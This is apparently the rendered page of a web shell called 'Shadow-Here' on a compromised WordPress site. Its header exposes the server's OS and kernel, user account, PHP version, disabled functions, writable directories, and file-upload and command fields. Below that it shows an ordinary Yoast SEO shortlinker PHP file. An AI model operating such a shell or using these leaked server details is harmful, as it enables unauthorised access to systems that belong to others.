Shadow-Here


Server : Apache
System : Linux methusalix2 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
User : hios ( 1437)
PHP Version : 5.6.40-0+deb8u12
Disable Function : proc_close,proc_open,dl,shell_exec,passthru
Directory :  /home/hios/public_html/wp-content/plugins/wordpress-seo/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : /home/hios/public_html/wp-content/plugins/wordpress-seo/inc/class-wpseo-shortlinker.php
<?php
/**
 * @package WPSEO
 */

/**
 * Helps with creating shortlinks in the plugin
 */
class  WPSEO_Shortlinker {

	/**
	 * @var string
	 */
	protected $version;

	/**
	 * @param string $version The version to put in the utm_content tag.
	 */
	public function __construct( $version ) {
		$this->version = $version;
	}

	/**
	 * Builds a URL to use in the plugin as shortlink.
	 *
	 * @param string $url The URL to build upon.
	 *
	 * @return string The final URL.
	 */
	public function build_shortlink( $url ) {
		return $url . '?utm_content=' . $this->version;
	}

	/**
	 * Returns a version of the URL with a utm_content with the current version.
	 *
	 * @param string $url The URL to build upon.
	 *
	 * @return string The final URL.
	 */
	public static function get( $url ) {
		$version = WPSEO_VERSION;

		$version = apply_filters( 'wpseo_shortlink_version', $version );

		$shortlinker = new WPSEO_Shortlinker( $version );

		return $shortlinker->build_shortlink( $url );
	}

	/**
	 * Echoes a version of the URL with a utm_content with the current version.
	 *
	 * @param string $url The URL to build upon.
	 */
	public static function show( $url ) {
		echo esc_url( self::get( $url ) );
	}
}

Samx